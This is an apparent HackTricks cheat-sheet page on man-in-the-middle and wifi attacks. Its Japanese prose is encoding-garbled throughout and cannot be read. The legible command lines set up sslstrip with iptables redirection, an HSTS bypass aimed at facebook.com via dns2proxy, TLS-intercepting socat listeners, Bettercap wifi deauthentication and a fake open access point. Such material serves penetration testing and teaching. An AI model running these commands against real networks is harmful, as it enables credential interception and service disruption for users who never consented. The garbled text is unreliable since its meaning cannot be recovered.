åºæ¬çã«ãã®æ»æãè¡ãããšã¯ããŠãŒã¶ãŒãHTTPããŒãžã«ã¢ã¯ã»ã¹ããããšããå Žåããã®ããŒãžãHTTPSããŒãžã§ã³ã«ãªãã€ã¬ã¯ããããããšã§ããsslStripã¯ã¯ã©ã€ã¢ã³ããšã®HTTPæ¥ç¶ãšãµãŒããŒãšã®HTTPSæ¥ç¶ãç¶æãããããå¹³æã§æ¥ç¶ãã¹ãããã£ã³ã°ããããšãã§ããŸãã
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
More info here.
sslStrip+ ãš dns2proxy ã䜿çšãã HSTS ã®ãã€ãã¹
sslStrip+ ãš dns2proxy ã® éã ã¯ãsslStrip ã«å¯ŸããŠãäŸãã° www.facebook.com ã wwww.facebook.com ã«ãªãã€ã¬ã¯ã ãïŒäœå㪠"w" ã«æ³šæïŒããã®ãã¡ã€ã³ã® ã¢ãã¬ã¹ãæ»æè ã® IP ã«èšå®ããããšã§ãããã®æ¹æ³ã§ãã¯ã©ã€ã¢ã³ã 㯠wwww.facebook.com ïŒæ»æè ïŒ ã« æ¥ç¶ ããŸãããè£ã§ã¯ sslstrip+ ã www.facebook.com ãšã® å®éã®æ¥ç¶ ã ç¶æ ããŸãã
ãã®æè¡ã® ç®ç 㯠HSTS ãåé¿ãã ããšã§ãwwww.facebook.com 㯠ãã©ãŠã¶ã® ãã£ãã·ã¥ ã«ä¿åãããªãããããã©ãŠã¶ã¯ HTTP ã§ã® facebook èªèšŒãå®è¡ããããã«éšãããŸãã
ãã®æ»æãå®è¡ããã«ã¯ã被害è
ãæåã« http://www.faceook.com ã«ã¢ã¯ã»ã¹ããªããã°ãªããªãããšã«æ³šæããŠãã ãããããã¯ãhttp ããŒãžå
ã®ãªã³ã¯ãå€æŽããããšã§å®è¡ã§ããŸãã
More info here, here and here.
sslStrip ãŸã㯠sslStrip+ ã¯ããæ©èœããŸãããããã¯ããã©ãŠã¶ã«äºåä¿åããã HSTS ã«ãŒã«ãããããããŠãŒã¶ãŒããéèŠãªããã¡ã€ã³ã«åããŠã¢ã¯ã»ã¹ããå Žåã§ããHTTPS çµç±ã§ã¢ã¯ã»ã¹ãããŸãããŸããäºåä¿åãããã«ãŒã«ãä»ã®çæãããã«ãŒã«ã¯ã includeSubdomains
ãã©ã°ã䜿çšã§ããããã以åã® wwww.facebook.com ã®äŸã¯ãfacebook.com ã includeSubdomains
㧠HSTS ã䜿çšããŠããããããã¯ãæ©èœããŸããã
TODO: easy-creds, evilgrade, metasploit, factory
ããŒãã§ã® TCP ãªãã¹ã³
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL ããŒãã§ãªãã¹ã³
ããŒãšèªå·±çœ²å蚌ææžãçæãã
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
蚌ææžã䜿çšããŠãªãã¹ã³ãã
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
蚌ææžã䜿çšããŠãªãã¹ã³ãããã¹ãã«ãªãã€ã¬ã¯ããã
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
æã
ãã¯ã©ã€ã¢ã³ããCAãæå¹ã§ããããšã確èªãããšãCAã«ãã£ãŠçœ²åãããä»ã®ãã¹ãåã®èšŒææžãæäŸããããšãã§ããŸãã
ããäžã€ã®èå³æ·±ããã¹ãã¯ãèŠæ±ããããã¹ãåã®èšŒææžãèªå·±çœ²åã§æäŸããããšã§ãã
ä»ã«ãã¹ãããããšã¯ãæå¹ãªCAã§ã¯ãªãæå¹ãªèšŒææžã§èšŒææžã«çœ²åããããšããããšã§ãããŸãã¯ãæå¹ãªå ¬ééµã䜿çšããDiffie-Hellmanã®ãããªã¢ã«ãŽãªãºã ã匷å¶çã«äœ¿çšãïŒå®éã®ç§å¯éµã§äœã埩å·åããå¿ èŠããªããã®ïŒãã¯ã©ã€ã¢ã³ããå®éã®ç§å¯éµã®ãããŒãïŒããã·ã¥ã®ãããªïŒãèŠæ±ãããšãã«ãåœã®ãããŒããéä¿¡ããã¯ã©ã€ã¢ã³ããããã確èªããªãããšãæåŸ ããŸãã
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Active Discovery Notes
UDPãã±ãããèŠæ±ãããããŒããæããªãããã€ã¹ã«éä¿¡ããããšãICMPïŒããŒãå°éäžèœïŒãéä¿¡ãããããšã«æ³šæããŠãã ããã
ARP discover
ARPãã±ããã¯ããããã¯ãŒã¯å ã§äœ¿çšãããŠããIPãçºèŠããããã«äœ¿çšãããŸããPCã¯åå¯èœãªIPã¢ãã¬ã¹ã«ãªã¯ãšã¹ããéä¿¡ãã䜿çšãããŠãããã®ã ããå¿çããŸãã
mDNS (multicast DNS)
Bettercapã¯ã_services_.dns-sd._udp.localãèŠæ±ããMDNSãªã¯ãšã¹ããïŒX msããšã«ïŒéä¿¡ããŸãããã®ãã±ãããåä¿¡ãããã·ã³ã¯éåžžããã®ãªã¯ãšã¹ãã«å¿çããŸãããã®åŸããservicesãã«å¿çãããã·ã³ãæ€çŽ¢ããŸãã
Tools
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercapã¯ãããŒã137/UDPã«ãCKAAAAAAAAAAAAAAAAAAAAAAAAAAAããšããååãèŠæ±ãããããŒããã£ã¹ããã±ãããéä¿¡ããŸãã
SSDP (Simple Service Discovery Protocol)
Bettercapã¯ãããããçš®é¡ã®ãµãŒãã¹ãæ€çŽ¢ããããã«SSDPãã±ããããããŒããã£ã¹ãããŸãïŒUDPããŒã1900ïŒã
WSD (Web Service Discovery)
Bettercapã¯ããµãŒãã¹ãæ€çŽ¢ããããã«WSDãã±ããããããŒããã£ã¹ãããŸãïŒUDPããŒã3702ïŒã
References
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.